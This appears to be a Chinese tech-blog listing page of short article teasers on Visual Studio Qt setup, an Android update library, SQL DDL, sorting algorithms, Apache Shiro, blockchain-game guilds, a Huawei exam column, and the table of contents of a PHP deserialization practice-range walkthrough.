    本文阐述在Visual Studio 2019中建立Qt项目的方法 Visual Studio 的安装 官网下载地址 Visual Studio 面向软件开发人员和 Teams 的 IDE 和代码编辑器 下载Community版本即可 安装
  • 应用内版本更新库UpdateVersion

    应用内版本更新库UpdateVersion UpdateVersion是一个Android版本更新库 GitHub仓库地址 引入 gradle allprojects repositories maven url https jitpack
  • ddl是什么意思网络语_ddl是什么

    数据库模式定义语言并非程序设计语言 DDL数据库模式定义语言是SQL语言 结构化查询语言 的组成部分 SQL语言包括四种主要程序设计语言类别的语句 数据定义语言 DDL 数据操作语言 DML 数据控制语言 DCL 和事务控制语言 TCL 那
  • 【排序】八大排序算法简介及它们各自的特点总结

    概述 一般使用的八大排序算法是 插入排序 选择排序 冒泡排序 希尔排序 归并排序 快速排序 堆排序 基数排序 每个方法有其适合的使用场景 可以根据具体数据进行选择 几个概念 内部排序 排序期间元素全部存放在内存中的排序 外部排序 排序期间元
  • SpringBoot-Shiro安全权限框架

    Apache Shiro是一个强大而灵活的开源安全框架 它干净利落地处理身份认证 授权 企业会话管理和加密 官网 http shiro apache org 源码 https github com apache shiro Subject
  • 链游公会打金热背后:多由矿工转型,存在多重风险

    今年8月 当Yield Guild Games 紧随头部链游 Axie Infinity 迎来市场热度时 大多数人都没有料到 链游公会 会成为一个专门的赛道 甚至可以说 爆火的赛道 在最近一月链捕手的每周融资统计中 链游公会获得融资的频率仅
  • 【华为OD统一考试B卷

    在线OJ 已购买本专栏用户 请私信博主开通账号 在线刷题 运行出现 Runtime Error 0Aborted 请忽略 华为OD统一考试A卷 B卷 新题库说明 2023年5月份 华为官方已经将的 2022 0223Q 1 2 3 4 统一
  • php-SER-libs-main反序列化靶场通关详细思路

    目录 说明 第一关 基础序列化 第二关 construct与 destruct 第三关 cookie传参 第四关 create fucntion 第五关 wakeup 第六关 私有属性 第七关 call 第八关 增量逃逸 第九关 pop链构